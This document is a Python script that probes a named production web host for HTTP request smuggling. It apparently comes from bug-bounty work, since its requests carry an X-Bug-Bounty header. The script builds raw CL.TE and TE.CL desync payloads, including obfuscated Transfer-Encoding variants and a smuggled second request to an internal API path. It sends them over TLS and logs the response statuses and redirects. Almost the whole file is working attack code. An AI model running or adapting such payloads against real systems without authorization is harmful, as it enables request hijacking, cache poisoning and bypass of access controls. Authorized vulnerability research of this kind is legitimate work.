import socket,ssl,time,re,hashlib
HOST='infoportal.baloise.de'; PORT=443
ID='X-Bug-Bounty: dwbzn\r\n'
req2=(f'GET /api/jsonws HTTP/1.1\r\nHost: {HOST}\r\n{ID}Connection: close\r\n\r\n').encode()
base_headers=f'Host: {HOST}\r\n{ID}Connection: keep-alive\r\n'
cases={}
cases['pipeline']=(f'GET /CSRFT759.js HTTP/1.1\r\n{base_headers}\r\n').encode()+req2
# Front uses Content-Length 4 ("0\r\n"), backend using chunked sees terminator; appended second request is clean.
cases['clte']=(f'POST /CSRFT759.js HTTP/1.1\r\n{base_headers}Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n').encode()+req2
# Obfuscated transfer encoding variants.
for name,te in [('clte-space',' chunked'),('clte-tab','\tchunked'),('clte-case','Chunked'),('clte-x','xchunked')]:
 cases[name]=(f'POST /CSRFT759.js HTTP/1.1\r\n{base_headers}Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 4\r\nTransfer-Encoding:{te}\r\n\r\n0\r\n\r\n').encode()+req2
# TE.CL: front chunked sees terminal zero, backend CL consumes 6 bytes including start of next request.
cases['tecl']=(f'POST /CSRFT759.js HTTP/1.1\r\n{base_headers}Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX').encode()+req2

def run(name,data):
 ctx=ssl.create_default_context()
 with socket.create_connection((HOST,PORT),timeout=10) as raw:
  with ctx.wrap_socket(raw,server_hostname=HOST) as s:
   s.settimeout(4); s.sendall(data); out=b''
   while True:
    try:
     b=s.recv(65536)
     if not b: break
     out+=b
     if len(out)>300000: break
    except socket.timeout: break
 statuses=re.findall(br'HTTP/1\.[01] (\d{3})',out)
 locs=re.findall(br'(?im)^Location: ([^\r\n]+)',out)
 print(name,'sent',len(data),'recv',len(out),'statuses',[x.decode() for x in statuses],'locs',[x.decode(errors='replace') for x in locs],'sha',hashlib.sha256(out).hexdigest()[:16])
 open(f'work/scratch/smuggle-{name}.bin','wb').write(out)
for name,data in cases.items():
 try: run(name,data)
 except Exception as e: print(name,'ERR',repr(e))
 time.sleep(1)
